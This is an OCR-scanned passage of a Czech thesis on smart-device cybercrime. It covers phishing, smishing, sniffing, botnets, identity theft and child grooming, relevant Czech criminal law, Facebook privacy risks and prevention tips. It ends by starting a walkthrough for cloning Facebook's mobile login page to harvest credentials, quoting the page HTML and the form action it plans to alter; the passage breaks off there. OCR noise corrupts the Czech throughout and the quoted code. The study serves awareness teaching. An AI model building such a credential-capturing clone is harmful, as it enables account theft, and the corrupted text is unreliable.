ptistupu k mému Uctu. Bohuzel ve stresu a snaze, co nejrychleji ochranit své finance, jsem
ani nezkontroloval odesilatele této zpravy, ani URL adresu, a na podvrZené, totozné
vypadajici webové strance penézenky, jsem zadal své piihlasovaci tidaje. Asi dvé minuty po
této akci jsem obdrzel zpravu, ze doSlo k pievodu 1153 §, tedy v piepoctu cca 26 000 K¢ na
ucet U7993376 vedeny pod jménem Valeriy Green.

Created Action Batch Erom/To Account Amount Fees Balance Details

21:0807.00.15  Transier [N U7093376 115362 573045 Sent Payment 1147.89 USD to account UT993376.

valeriygreen

Obr. 10. Odcizené financni prostiedky [archiv autora]
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SMiShing

Jak jiz mtize byt z nazvu patrné, jedna se o druh phishingu, ktery uto¢nici provadi skrze SM'S
zpravy. Piikladem SMiShingu miize byt opét zprava, ktera se vydava za bankovni spolecnost
a upozornuje, ze doslo k blokaci kreditni karty a pro jeji reaktivaci je tfeba poslat SMS
zpravu Ci zavolat na nékteré z uvedenych Ccisel, které jsou vSak zpoplatnénou sluzbou.
Utoénik tedy inkasuje urity zisk z této zpravy & hovoru. Touto formou phishingu viak lze

sifit i URL odkazy, které vnucuji instalaci malware. [2]

£ Back +7 458 666 111 Contact

Thu, Jan 16, 4:08 PM

Dobry den, Vase platebni karta
byla zneuzita. Z dlivodu
zabezpeceni doslo k jeji
blokaci. Pro odblokaci volejte

4 * FREREREEX nebo zaslete
prazdnou SMS na Cislp ***%**,
Akci provedte nejpozdé&ji do 1
hodiny. Chraiite se pfed dalsim
zneuzitim instalaci aplikace z
odkazu: http://FF*s** x*
\VaSe banka.

Obr. 11. Priklad SMiShingu [archiv autora]

Na piikladu této SMS Ize pozorovat, Ze je vyvijen natlak na uZivatele i pomoci ¢asové lhty,
kterou je potieba splnit. Idealni obéti pro ptivodce tohoto utoku je tedy méné znaly uZzivatel,
ktery po obdrzeni této textové zpravy ve snaze ochranit své finance splni vSechny
pozadavky, ke kterym je vyzvan. Po odeslani SMS ¢i hovoru dochézi ke strzeni penéz z

kreditu a pfipadné i napadeni zafizeni malwarem z nainstalované aplikace.
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Phishing tedy obecné¢ mizeme z pravniho hlediska povazovat za naplnéni skutkové podstaty

nasledujicich trestnych ¢inti:

e Podvod, dle § 209, zakona ¢. 40/2009 Sb.,

e Neopravnény ptistup k pocitacovému systému a nosici informaci, podle § 230 odst.
2, zakona ¢. 40/2009 Sb.,

e Neopravnéné opatieni, padélani a pozménéni platebniho prostfedku, podle § 234,

zakona ¢. 40/2009 Sb.

V ptipad€ uznani viny lze ulozit tresty odnéti svobody dle rozsahu, zplisobli pachéni trestné
¢innosti a zpusobenych $kod v rozmezi 6 mésicli az 12 let nebo trestem v podobé zdkazu

¢innosti ¢i propadnuti véci. [2], [46]

2.5 Sniffing

Jde o metodu, kterou vyuZzivaji kyberneticti uto€nici k zachycovani dat pfenaSenych mezi
chytrym zafizenim a sluzbou, ke které uzivatel skrze toto zatizeni pfistupuje. Jinymi slovy
feceno, jedna se o jakysi odposlech komunikace, pii kterém se tito¢nik snazi bez souhlasu
uzivatele ziskat citlivé informace, nejcastéji v podobé piihlaSovacich jmen a hesel ¢i zprav
posilanych pies riizné komunikaéni aplikace &i sluzby. [2] Utoénici pro provadéni tohoto
druhu kybernetické kriminality Casto vyuZzivaji vefejné a nezabezpecené¢ Wi-Fi site, ke
kterym se pripojuje velké mnoZzstvi uzivateli a zatizeni. Jednéd se predevSim o kavarny,
letiSté, hotely apod. Vyuziva se tedy neopatrnosti uZivateld, ktefi na svych chytrych
zatizenich pfipojenych k internetu skrze tyto ptistupové body vyuZivaji aplikace a sluzby,
jejichz zneuziti mize mit zdvazné nasledky. [50]

Podle trestniho prava lze takovéto nelegélni zachycovani pfendSenych dat povaZovat za
naplnéni skutkové podstaty trestného ¢inu Poruseni tajemstvi dopravovanych zprav, dle §
182 trestniho zakoniku ¢. 40/2009 Sb., za coZz pachateli hrozi zdkaz Cinnosti ¢i odnéti

svobody az na dva roky. [46]

2.6 Botnet utoky

Kazdé chytré zatfizeni, které bylo infikovano tzv. botem neboli kodem, ktery umoziuje
utocnikovi dané zatizeni na dalku ovladat pomoci piikazii je soucasti tzv. botnet sité. Tato
sit mlZe byt tvofena v n€kterych ptipadech az stovkami tisic napadnutych chytrych zatizeni,

které se oznacuji jako zombie. Znamena to tedy, Ze chytré telefony, televize, pracka,
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termostaty i vysava¢ mohou byt na povel zneuzity ke hromadnym utokiim na rizné cile, od
obycejnych webovych stranek, az po sité bank, nemocnic ¢i statnich organizaci. Tyto Gtoky
jsou nazyvany jako DoS ¢i DDoS. ZjednodusSen¢ feceno, kazdé takové zatizeni v botnet siti
zacne pristupovat a vysilat velké mnozstvi pozadavku naptiklad na urcitou webovou stranku,
coz méa za nasledek ptetizeni serveru a jeho nedostupnost. Béhem téchto utokti dochazi casto

k §ifeni riznych typti malware, pfedevsim vydéra¢ského ransomware.

Ukézkovym ptikladem tak mohou byt nedavné ttoky na nemocnice, kdy doslo k vyfazeni
z provozu casti €i celé sit¢. Nemocnice tak razem fesi problém s nedostupnosti sité, zaroven
vydirani ptes zasifrovana citliva data o pacientech. Tyto toky je taktéZ mozné objednat na
¢erném trhu i s moznosti zvoleni délky trvani utoku. Cena DDoS tutoku se pohybuje
primérmné 1500 K¢ za hodinu, coz je vpoméru s nasledky takového utoku pakatel.
Identifikace pachatele, ktery tyto zatfizeni ovladal ¢i dal k pokyn k ttoku je v tomto ptipadé
velmi obtizna, jelikoz na tutocich se podili Casto velké mnozstvi napadenych zafizeni,

zpravidla bez védomi jejich uzivatele.

Z hlediska prava lze botnet utoky posuzovat jako trestny ¢in — Neopravnény piistup k
pocitaovému systému a nosi¢i informaci, zejména potlaceni dat a jejich

neupotiebitelnosti, podle § 230, zakona ¢. 40/2009 Sb. [2], [39], [51], [46]

2.7 Kradez identity

Za kradez identity je v kybernetické kriminalité povaZovéan protipravni ¢in, kdy je obéti
odcizena identita a dochazi k jejimu zneuZivani. V podstaté jde o pachani trestnych ¢ini diky
ziskanym osobnim a citlivym informacim, jménem obéti. Utoénik tedy mize na zakladé
odcizené identity napfiklad pachat podvody na dalSi uZivatele, ktefi s nim komunikuji a
vyménuji si citliva data ¢i idaje v domnénim, Ze se jedné o pravou osobu, kterou dobfe znaji.
Ziskané citlivé tidaje ¢i data jako jsou jména, hesla, adresy, kreditni karty nebo v nejhor§im
ptipadé vyfocené doklady uloZené v chytrych zatizenich utocnici mohou zneuzit i k Cerpani

finan¢nich ptjc¢ek jménem obéti, coZ mize mit pro dot€enou osobu velmi vazné nasledky.

Z pravniho hlediska je toto protizdkonné jedndni posuzovano dle trestniho zakoniku ¢.
40/2009 Sb. Kradez identity lze v ptipadé€, kdy utocnik neopravnéné ziska pristup k identité
obéti pomoci prekonani bezpecnostniho opatfeni ¢i malware, posuzovat jako naplnéni
skutkové podstaty trestného ¢inu — Neopravnény piistupu k pocitacovému systému a nosici

informaci, dle § 230 odstavce 1 a 2, zdkona €. 40/2009 Sb. Aplikovat lze i odstavec 3, v
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ptipad¢, ze zplisobi svym jednanim obéti Skodu, jinou ujmu i ziska neopravnény prospech.

[2], [52], [46]

2.8 Kybersikana

Jednd se o druh Sikany, kterd je provadéna skrze elektronickd zatizeni a jejich sluzby.
Nejvice ohrozenou skupinou jsou predevsim déti a teenageti ve véku 12-18 let, ktefi skrze
své chytré telefony vyuzivaji rizné socialnich sité, hraji hry, posilaji zpravy, videa nebo
obrazky pomoci chatovacich aplikaci, a prave skrze tyto prostfedky k témto itoktim dochazi.
Castou formou kyberdikany je Sifeni pomluv, vefejné urdzeni, vydirani &i pieposilani
informaci, které jsou pro obét’ citlivé a dotykaji se jejich soukromi. Piikladem miize byt

zvetejniovani intimnich fotografii a videi obéti, které se velmi rychle $ifi.

Psychicky natlak na obét mlze byt tak velky, Ze situaci neustoji a v nejhorSich ptipadech

dojde az ke spachani sebevrazdy. [53]

2.8.1 Cyberstalking

Patfi mezi Ccasté projevy kybernetické kriminality. Jde o nebezpe¢nou formu
pronasledovani ¢i  obtézovani provadénou skrze sit' internet a komunikacéni
prostiedky nebo aplikace. Utoénik vytipované obéti opakovand zasila nevyzadané a
obtézujici zpravy, které v obéti mohou vzbuzovat pocity ohrozZeni a vyvolat obavy o vlastni
zdravi €1 Zivot. Takovéto jednani je z pravniho hlediska naplnéni skutkové podstaty
trestného ¢inu — Nebezpecné pronasledovani, dle § 354, trestniho zakoniku ¢. 40/2009 Sb.,

s trestni sazbou odnéti svobody Sest mésicti az tii let. [54], [46]

2.8.2 Sexting a zneuZivani déti

Jak jiz zndzvu miZzeme odvodit, jednd se o ,.elektronické rozesilani textovych zprav,
fotografii ¢ividea se sexudlnim obsahem.* [55] V dnesni dobé¢ zcela bézn¢ dochézi k zasilani
intimnich fotografii nebo videi mezi partnery €i pfi chatovani na socidlnich sitich a na
seznamovacich portalech. Sexting jako takovy neni v rozporu se zakonem mezi dospélymi
osobami, avSak jedna se o velmi rizikové chovani v kyberprostoru, jelikoZ tyto materialy

mohou byt pozdé&ji pouzity jako prostfedky k vydirani.

Velké bezpecnostni riziko vSak pfedstavuje sexting pro déti, kdy jsou presvédCovany

utocnikem k zaslani intimnich materiala ¢i pifimo zivému pienosu videa skrze aplikace jako
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je Skype, Messenger, Whatsapp a dalsi, které ma nainstalované v chytrém zafizeni. [2]

Velkou osvétou v této oblasti je dokument Vita Klusdka a Barbory Chalupové s ndzvem ,,V
siti“, ktery se pomoci redln¢ho experimentu, zaméfenym na zneuzivani déti na internetu,
snazi upozornit na hrozby kyberprostoru v podob¢€ sexualnich predatort, ale také na rizikové
chovani nezletilych na socidlnich sitich. Za pomoci tfi dospélych hereéek s
détskymi rysy a vérohodnych prostor ve studiu, v podobé détskych pokojickt, zakladaji
fiktivni profily 12letych divek na socidlnich sitich a komunikuji s muzi, ktefi je na téchto
socialnich sitich vyhledali. Cely tento experiment trval 10 dni, béhem kterych tyto tfi
herecky oslovilo neuvéfitelnych 2458 muzl, z nichz pfevazna vétsina po ,nezletilych*
divkach zadali fotografie s intimnim obsahem ¢i pfed nimi masturbovali, a v nékterych

ptipadech doSlo 1 na osobni setkani a vydirani. [56]

Obr. 12. Tereza Tézka — porizuje fotografii pro jednoho z muzu [57]
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2.8.3 Cybergrooming
Jedna se o dalsi projev kyberkriminality, ktery cili opét nejcastéji na nezletilé déti, avSak od
klasického sextingu se odliSuje tim, Ze to€nik ma za cil zneuzit divéry obéti a pfimét ji

k osobni schiizce za ucelem nésledné konani trestné ¢innosti, napt. pohlavniho zneuzivani

¢i foceni a nataceni pornografického materidlu. [2]

Obr. 13. Tereza Tezka — pripravuje se na osobni setkani s predatorem [58]

Z pravniho hlediska tyto zplisoby jednani napliiuji skutkové podstaty trestnych ¢int:

e Vydirani, podle § 175, zédkona ¢. 40/2009 Sb.; trestni sazba odnéti svobody ¢ini 6
mésict aZ 4 roky ¢i penézity trest.

e Vyroba a jiné nakladani s détskou pornografii, podle § 192, zdkona ¢. 40/2009 Sb.;
trestni sazba odnéti svobody az na 2 roky.

e Zneuziti ditéte k vyrob¢é pornografie, dle § 193, zakona ¢. 40/2009 Sb.; trestni sazba
odnéti svobody 1 az 5 let.

e Navazovani nedovolenych kontaktd s ditétem, podle § 193b, zdkona ¢. 40/2009 Sb.;
s trestni sazbou odnéti svobody az na 2 roky. [2], [54], [46]
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3 SOCIALNI SIiTE

Pouzivani chytrych zafizeni, piedev§Sim telefonii jde ruku vruce 1 s pouzivanim
socialnich siti. Moznost rychlé a efektivni komunikace vedlo k jejich rozvoji a staly se velmi
Castym pusobistém v mnoha oblastech kyberkriminality. Ackoliv si to vétSina uzivateli
neuvédomuje, pouzivani socialnich siti mize predstavovat pomérné velkd bezpe¢nostni
rizika. Tato popularni forma komunikace a sdileni informaci skrze chytra zafizeni vede
k v mnoha ptipadech k naprostému odkryti svého vlastniho soukromi, jelikoz nés urcitou
formou také nabada k vyplnéni velmi citlivych osobnich udajii. Téchto informaci (jméno,
prijmeni, datum narozeni, daje o poloze, email, piipojené kreditni karty, pratelé apod.) poté
vyuzivaji Gto¢nici. Vyhodou pro né je anonymita, kterou jim tyto socidlni sit¢ poskytuji,
jelikoz nepozaduji zaddné ovéfeni totoznosti pii zakladani profild. V oblibé je tedy
maskovani se za profil zndmé osoby potencionalni obéti a nasledné pachani riznych deliktt

od finan¢nich podvod, instalace malware do zatizeni ¢i kyberSikany atd. [59]

Podle vyzkumu spole¢nosti Bromium hodnota ukradenych uZivatelskych dat ze socialnich

siti ro¢n¢ piesahuje castku 630 miliond dolard. [60]

$138 000 000
$250 000 000

$290 000 000

$630 000 000_\ $1 900 000 000

Nelegalni farmaceuticky prodej ® Prodej zcizenych dat M Financ¢ni podvody

W Malware pro tézbu kryptomén = Seznamovaci podvody

Obr. 14. Rocni vynos krimindlnich c¢innosti souvisejicimi se socialnimi sitemi [60]
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Jelikoz socialnich siti dnes existuje pomérné velké mnozstvi, zaméfime se piedevsim na

socialni sit’ s nejvice aktivnimi uzivateli — Facebook.

Facebook

YouTube

WhatsApp

Facebook Messenger

WeChat

Instagram

2500

Obr. 15. Socialni sité dle poctu aktivnich uzivatelii (v milionech) [61]

3.1 Facebook

Socidlni sit’, kterou zaloZil vroce 2004 mlady americky programator jménem Mark
Zuckerberg. Pivodné slouzila pouze jako prostfedek ke komunikaci mezi studenty
Harvardské univerzity na doméné thefacebook.com, avsak kvili své popularité byla béhem
jednoho roku zptistupnéna vSem uzivatelim internetu starSich 13 let jiz na doméné
facebook.com. [39] Zpfiistupnéni této platformy celému svétu vedlo k masivnimu narustu
uzivatell a v soucasné dob¢ tuto socidlni sit” vyuziva v primé&ru pies 2 miliardy uZivateld.
[62] Facebook slouzi uzivatelim nejen ke sdileni fotografii a videi, posilani zprav pomoci
aplikace Messenger, ale nove 1 k prodeji movitych 1 nemovitych véci na tzv. marketplace.
[63] Platforma Facebooku je dostupnd jak ve webové verzi, tak i ve verzich pro

nejpouzivanéjsi operacni systémy smart zatizeni ve forme aplikace.

3.1.1 Profil a informace

Vytvoteny profil na Facebooku je v podstaté takova ,,internetova vizitka“ osoby, ktera
obsahuje vypInéné osobni idaje a piipadné fotografie. Udaji, které tato socilni sit’ 0 osob&

umoznuje v profilu vyplnit je celd fada.
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Kontaktni a zdkladni idaje — jméno, pfijmeni, pohlavi, datum narozeni, pfesna

adresa pobytu, mobilni ¢isla, emailové adresy, nabozenské vyznani, politické

presvédceni

e Rodina a vztahy — informace o vztazich osoby, rodinném stavu a trvani vcetné
odkazl na profily rodinnych pfislusniki ¢i partnert

e Zaméstnani — vSechna aktudlni, ¢i v minulosti vykondvana zameéstnani, véetné
detailniho popisu vykonavané ¢innosti, pozice, misto, obdobi od — do

e Vzdélani a odborné znalosti — udaje o Skolach, které osoba studovala nebo studuje
a odbornych znalostech

e Mista, kde osoba Zila — prehled mist, kde se osoba v minulosti Zila, ¢i aktualné zije

e Zivotni udalosti — piehled duleZitych momentd ze Zivota dané osoby, nové

zaméstnani, vzdélani, zajmy a aktivity, milniky a Gspéchy, vzpominky, cestovani

apod.

Dal$im viditelnym prvkem na profilu je seznam pftatel, ktefi na této socidlni siti maji profil
a provedli s danym profilem osoby interakci v podobé ,,pfidani do pratel” a prvek, ktery se

nazyva Timeline. [64]

3.1.2 Timeline a pFibéhy (stories)

Timeline, znamy také pod pojmem ,,facebookova zed™. Je to prvek, kam uzivatelé ptidavaji
prispévky, tzv. statusy, ve formé fotografii, videi ¢i textovych zprav. Témito piispevky
naptiklad mohou sdé€lovat své pocity, aktivity, oznamovat svou polohu anebo zahajit Ziva
vysilani pomoci kamery v telefonu. Ostatni uzivatelé na n€ mohou reagovat pomoci tlacitka
,»to se mi libi* a pfidruzenych emotikon, diky kterym vyjadiuji svlij postoj k danému statusu
¢i zanechat komentaf. Velmi oblibené je v dnesni dobé sdileni pfibéhti neboli slangové
»storycek®, coz jsou kratké uryvky v podobé natoc¢enych videi, obrazkl a textli, na kterych

uzivatelé sdili své zazitky z dne a zGstavaji viditelné po dobu 24 hodin od sdileni. [65]
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Obr. 16. profil, timeline, tvorba prispévku v mobilni aplikaci [archiv autora]

3.1.3 Rizikové chovani a sdilené informace

Za bezpecnostni riziko pii pouzivani jakékoli socidlni sité skrze chytrd zatfizeni, miizeme
oznacit pfedevsim povahu sdilenych informaci. Pfevazné se jedna o informace, které by
m¢ély ztstat soukromé. Jedna se o pfedevsim o osobni udaje, informace o poloze, fotografie
déti, domacnosti, cenného majetku atd. I pouhy piispévek o tom, Ze se chystate na dovolenou

nebo sdilite piispévek i véetné presné aktualni polohy, miiZze predstavovat potencialni riziko.

Muze se totiz stat, ze béhem vasi nepfitomnosti se vam po obydli pohybuje zlod¢j a krade
majetek, ktery prave tuto informaci vyuzil ke svému prospéchu. Stejné tak se muizete stat
ob¢ti kradeze €1 poskozeni vaseho vozidla, které se objevilo 1 vEetné registratni znacky v
nékterém z pifspévki. Casto se na Facebooku lze také setkat stim, Ze uzivatelé sdili
fotografie déti (v nékterych pifipadech i obnazené a necenzurované), coz muze vést ke

zneuziti téchto fotografii pedofily, ktefi tyto materidly aktivné vyhledavaji. [66]
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Obr. 17. Pratelé sdilejici svou aktudlni polohu

v mobilni aplikaci Facebook [archiv autora]

Vyuzivani Facebooku je také velmi oblibena ¢innost ,,détskych uzivatela* smart technologii,
ktefi Castokrat nerespektuji pravidla jeho uzivani a minimalni vékové hranice 13 let. V Ceské
republice vSak existuje pomérné nova legislativa v podobé Zakona o zpracovani
osobnich udaji €. 110/2019 Sb., §7, ktery urcuje minimalni v€kovou hranici 15 let, kdy je
dité zpisobilé pro souhlas se zpracovanim osobnich udaji, a tim tedy 1 vyuZzivani této

socialni sité. [67]

V ptipad¢ téchto uzivateld, ktefi jsou na Facebooku velice aktivni, se jedna piedev§im o
rizika vyplyvajici z riznych druhti kyberSikany (sexting, cyberstalking, vydirani apod.),
kteréa je hrozbou pfi navazovani ptatelstvi a komunikaci s osobami, jejichZ pravou identitu

neznaji. Avsak mize byt i v podobé¢ blizkych osob, naptiklad spoluzdki, kteti obét’ verbalne
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napadaji v komentarich, zpravach anebo disponuji jakymkoliv ponizujicim materidlem,
ktery je nasledné nekontrolovatelné sdilen mezi dalsi osoby a tim tak obét’ mize vyznamné
ohrozit.

Dle vyzkumu Univerzity Palackého v Olomouci, ktery se tykal Facebooku a 1 122 ¢eskych
déti ve veéku 8-17 let, aktivné vyuzivajicich tuto socialni sit’, bylo zjisténo, ze velka ¢ast

z nich se jiz stala obéti jakéhokoliv kyberutoku ¢i kyberSikany. [68]

sdileni ponizujici verbalni utoky  sdileni ponizujiciho vyhrozovani vydirani
fotografie videa

Obr. 18. Projevy kybersikany na Facebooku [68]

3.1.4 Siteni dezinformaci (hoax)

Pti pouzivani této socidlni sité se také lze setkat s masivné sdilenymi ptispévky ¢i zpravami,
které se svou povahou snaZi plsobit na uZivatele dilezZit¢ a vérohodné, avsak jedna se o
poplasnou zpravu, ktera varuje napiiklad pied neexistujici hrozbou. Jejich spole¢nym
znakem je ve veétSin€ piipadl vyzva k jejich dalSimu sdileni ¢i preposlani a tim vznika tzv.

lavinovy efekt. [69]

Je tedy zfejmé, ze v piipadée celkového pouzivani této socidlni sité skrze chytré zatizeni, 1ze
0 osob¢ zjistit dostatek informaci k tomu, aby sdilené informace mohly byt zneuzity k
aktivitdm, které pro danou osobu piedstavuji bezpecnostni rizika od kradeze identity, po

nebezpecné vyhrozovani ¢i vydirani aj.
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4 PREVENCE A OPATRENI

K tomu, abychom se uspé€sné branili hrozbam v kyberprostoru a minimalizovali
bezpecnostni rizika, je dulezité se fidit nékolika zakladnimi pravidly, kterd nam pomohou

zvysit bezpec¢nost pii celkovém pouzivani smart zatizeni.

4.1 Silna hesla

Pro pfistup k riznym uctim a sluzbam je zapotiebi volit dostate¢né silnd hesla, ktera
obsahuji alesponi deset znakii. Dle spole¢nosti Avast je vSak doporuc¢eno minimalné 15
znakli, mald 1 velkd pismena a idedlné 1 numerické a specidlni znaky. [70]
Nedoporucuje se volit jako heslo datum narozeni, jméno apod. DiileZité je ovSem i provadét
pravidelné¢ zménu hesel a nikdy nepouzivat stejné heslo k vice uctim. Predev§im heslo

k emailové schrance, ktera vétSinou slouzi k obnove¢ hesel u vice sluzeb. [71]

Taktéz je vyrazné doporuceno meénit v administraci plivodni hesla k zatizenim jako jsou
predevSim routery a dalsi loT zatfizeni. Jak jiZ bylo zminéno, dle statistik 60 % uZzivatell

presto ptivodni hesla pouziva. [22]

4.2 Pouzivani antivirové aplikace

Antivirova aplikace by méla byt instalovana na kazdém chytrém zafizeni. Chrani ptred
hrozbami v podob¢ malware, phishingovymi strankami, ale zdrovenl dokdzi chranit soukromi
a data, upozorfiovat na nezabezpecené Wi-Fi sit¢ ¢i nedostatky v bezpecnostnich
opatfenich. Piikladem muze byt instalace antivirové aplikace od spole¢nosti Avast, kterou

lze stdhnout zdarma z oficialnich obchodti Google Play Store ¢i App Store. [72]

4.3 Ochrana soukromi

Jak jiz bylo zminéno v piedchozi kapitole, je tfeba chranit své soukromi, a to predevsim pfti
vyuzivani socialnich siti. Doporucuje se tedy nezvefejiiovat a neposilat citlivé udaje jako
informace o vasi poloze, osobni udaje, hesla ¢i fotografie soukromé povahy. Stejné tak
nepfijimat zadosti o pratelstvi a sledovani od osob, které¢ neznate. [2] Dale je doporuceno

nastavit sviyj profil jako nevetejny.
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4.4 VSimani si detaili

V piipadé, Ze obdrzite email, SMS ¢i se dostanete na podezielou webovou stranku, v§imejte
si detailtl. Castokrat 1ze napt. phishing odhalit pouhym detailnim pfeétenim zpravy, jelikoz
v mnoha ptipadech obsahuji gramatické chyby nebo piehézeny slovosled. V zddném piipadé

v takovych zpravach neklikejte na odkazy ¢i nestahujte ptilohy. [2]

Stejn¢ tak je dulezité vsSimat si, zda je spojeni se serverem, napi. webovou strankou,
zabezpeCené a je oveéfené pomoci certifikatu. V§Simat si tedy, ze doména zacina
zabezpecenym protokolem HTTPS, zobrazeny ikonou zeleného zamecku, namisto
nezabezpeceného protokolu HTTP. Ani to vSak zcela nezarucuje, ze se nemuze jednat

napiiklad o phishingovy web. [10]

4.5 Uzamykani zarizeni

Pokud zatizeni nepouzivate, zajistéte jeho automatické uzamknuti po urcité dobé. Zatizeni
lze zabezpecit proti neopravnénému uziti pomoci PIN kddu, hesla ¢i gestem. Standartni
funkci dnes jiz byva i1 zabezpeCeni biometrickymi prvky, jako jsou otisky prsti ¢i

rozpoznani obliceje. [73]

4.6 Ochrana dat

Jako ochrana pted neopravnénym ptistupem slouzi funkce Sifrovani ¢i vymazani dat v
piipadech, kdy dojde ke ztrat€ ¢i kradezi zatizeni. VétSina chytrych zatizeni v dneSni dobé

disponuje funkei vzdaleného vymazani dat ¢i blokaci zatizeni. [73]

4.7 Aktualizace

Instalace aktualizaci opera¢niho systému a aplikaci patii k zakladnim zdsaddm bezpecnosti
pfi vyuZivani chytrych technologii. Kromé& riznych vylepSeni, ale ptedev§im slouZzi jako

opravy bezpe€nostnich slabin, kterych mohou vyuzit hrozby. [73]

4.8 Aplikace z duvéryhodnych zdroju a opravnéni

Aplikace stahujte a instalujte pouze z oficidlnich obchodu jako je Google Play Store ¢i App

Store. SniZite tak riziko napadeni chytrého zafizeni malwarem, oproti stahovani aplikaci z
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neovétenych webovych stranek. MéEli bychom vSak mit na paméti, ze i na oficidlnich

zdrojich stale existuje riziko vyskytu aplikace, kterd v sob¢ skryva skodlivy kod.

Stejné tak je tieba zvysit pozornost pii instalaci samotné aplikace a opravnénim, ke kterym

funkcim a informacim aplikace zada ptistup. [73]

4.9 Polohové sluzby

Vyuzivani polohovych sluzeb by mélo byt aplikacim povoleno pouze v nezbytnych
ptipadech, a hlavné dle jejich typu. Neni tfeba povolit ptistup k vasi poloze aplikacim, které

tyto informace zjevné nepottebuji. [73]

4.10 Verejné Wi-Fi sité

Vyuzivani nezabezpecenych verejnych Wi-Fi siti mize predstavovat bezpecnostni riziko
z diivodu mozného odposlechu nesifrované komunikace. Nedoporucuje se tedy tyto vefejné
ptistupové body vyuzivat k pouzivani aplikaci typu mobilni bankovnictvi ¢i posilani a

pfijimani jinych citlivych tdajh. [73]

4.11 Vypinani bluetooth

V ptipadé, kdy bluetooth nevyuzivame, je doporuceno jeho vypinani. Vypinanim lze
predejit Sifeni rlznych typl malware, ale také predejit kradezim zatizeni napiiklad z
automobilll na parkovistich apod. Existuji totiz aplikace, které jsou schopny skenovat okoli
a detekovat zatfizeni se zapnutym bluetooth, a to vCetné typu zafizeni a jeho polohy. [73],

[74]

4.12 Ochrana déti

JelikoZ déti jsou povazovany pii vyuZzivani chytrych zatizeni a socidlnich siti za rizikovou
skupinu, je vhodné instalovat do jejich chytrych zatizeni aplikace, které jsou schopny chranit
pfed kyberSikanou ¢i sextingem. Piikladem je aplikace s nazvem SafeToNet, kterd je
schopna v redlném cCase analyzovat a filtrovat zpravy v telefonu ditéte. V piipadé, ze
aplikace zjisti nevhodny obsah jako napft. intimni fotografie, provede se automaticky blokace
telefonu a po nékolika pokusech o odeslani ¢i piijmuti takového obsahu upozorni rodice

pomoci SMS zpravy. [75]
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II. PRAKTICKA CAST
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5 PHISHINGOVY UTOK A ANALYZA DAT

Jak jiz bylo zminéno v teoretické casti, pfi phishingovém utoku se vyuziva socidlniho
inzenyrstvi k ziskani cennych informaci (pfihlaSovaci udaje, idaje k platebni kart¢€ aj.), které

puvodce Utoku zneuziva k dalSimu pachéni trestné ¢innosti.

Predmétem praktické ¢asti bude provedeni simulovaného phishingového utoku zaméfeného
na ziskani ptistupu k Facebook Uc¢tu a nasledna analyza dat ziskanych ze zneuzitého uctu
uzivatele. Dozvime se tedy, jaka data o uzivateli Facebook za dobu jeho pouzivani v chytrém
telefonu zjistil. Prvni ¢ast je ukazkou samotného phishingového utoku, tvorba podvodné
webové stranky a zpusob, jakym se ,sbiraji ptihlaSovaci udaje obéti. Druhd cast je
zaméfena na analyzu ziskanych dat, které mohou v pfipad€ zneuziti ptedstavovat

bezpecnostni riziko.

5.1 Postup tvorby podvodné webové stranky

V nasledujicich krocich popisi, jak probiha tvorba phishingové webové stranky vcetné

otestovani jeji funk¢nosti.

5.1.1 Vybér cile

Ur¢im si tedy sluzbu, jejiz podobu budu duplikovat. Vzhledem k tomu, ze pfedmétem je
provadét utok na uzivatelsky ucet sluzby Facebook, pouziji tedy jako cil mobilni verzi

ptihlaSovaci stranky Facebooku, dostupné na adrese https://m.facebook.com.

wlll Vodaione CI ¥ 1283 FEpum

Fapomnél(a) jsle heslo?

Obr. 19. mobilni verze
prihlasovacit stranky

[archiv autora] [64]
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5.1.2  Duplikace

K tomu, aby mohla byt provedena duplikace webové stranky, je tieba znat jeji zdrojovy
HTML kod. Vyuziva se tedy funkce ,zobrazit zdrojovy kod stranky*, v jakémkoliv

webovém prohlizeci. Cely zdrojovy kod se nasledné zkopiruje a ulozi do souboru index. html.

ilu{

position: absclute;
width: @;
height: @;
overflow: hidden;
}
</stylex
<meta name="description” content="Vytvofte si dfet, nebo se pfihlaste k Facebooku. Spojte se s pfateli, rodinc
</head>

<body tabindex="8" class="b c d e"»<div class="f"><div id="viewport"»<div class="g" id="u_@_ 2">Cookies pouZiv:
abychom mohli pFizplsobovat a méFit reklamy a vytvéFet bezpe&n&jii prostfedi. KdyZ na tomto webu na néco klikr
vyjadiite tim sviij souhlas,

Ze smime cookies na Facebooku i mimo n&j poufivat. PFeltdte si dalii informace,

mimo jiné i to,

jaké mdte moZnosti: <a href="/policies/cockies/?refid=8& ccr=ARZBMULlWACYREugFnhLCxsmzIigoXE  Ip22jAazDGanHg"
<div class="1i j" id="header">

<table cellspacing="8" cellpadding="8" class="k">

<tr>

<td valign="middle"><h1 style="display:block;height:@;overflow:hidden;position:absolute;width:@;padding:8”>Fa
<img src="https://static.xx.fbcdn.net/rsrc.php/v3/y8/r/k97pi8-orés.png” width="77" height="16" class="1" alt='
<td valign="middle"” class="m"><a href="/reg/?cid=1028refid=B& _ccr=ARZBMUlM4cyREugFnhLCxsmzIigoXE_ Ip22jAazDGi
<span class="u">Vytvofit G€et</span></a></td></tr></tables</div>

<div id="cbjects_container”»<div class="e" id="roct"><table class="v"><tbody><tra><td class="w"><div class="x
<div class="ba"></div></div>

<div class="bb bc"»><div id="login_top_banner”></div>

<div class="bd"><form method="post" action="/login/device-based/regular/login/?refsrc=https¥3AX2F%2Fm. facebool
<input type="hidden" name="1lsd" value="AVoxslcw" autocomplete="off" /><input type="hidden" name="jazocest” vali
<input type="hidden"” name="try_number” wvalue="8" /><input type="hidden” name="unrecognized_tries" value="2" /:
<1i class="bh"><divs<span class="bj bk" id="u_B_1">Heslo</span><input autocorrect="off" autocapitalize="off"
Inc.</span>

</div>

</div>

</div>

</divs

</body>

</html>

Obr. 20. Ukazka casti zdrojového kodu mobilni

prihlasovaci stranky [archiv autora]

Nyni je kopie mobilni piihlaSovaci stranky Facebooku hotova, avSak je potfeba v tomto
zdrojovém kodu provést ipravu, ktera zajisti, Ze v pfipad€ zadani ptihlaSovacich udaji dojde

k jejich uloZzeni do textového dokumentu.

Ve zdrojovém kodu je tak tieba vyhledat atribut, ktery urcuje, jaka akce se ma provést po

stisknuti tlacitka ,,Prihlasit se*. 'V tomto piipad¢ se jedna o tuto ¢ast HTML kédu. [76]

<form method="post"
action="/login/device-based/regular/login/?refsrc=https%3A%2F%2Fm.facebook.com%2F&lwv=180&refid"
class="be bf" id="login_form" novalidate="1">

Obr. 21. HTML kod urcujici akci po stlaceni prihlasovaciho tlacitka [archiv autora]
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Hodnotu atributu action je tedy tfeba upravit, aby plnil funkci definovanou v souboru
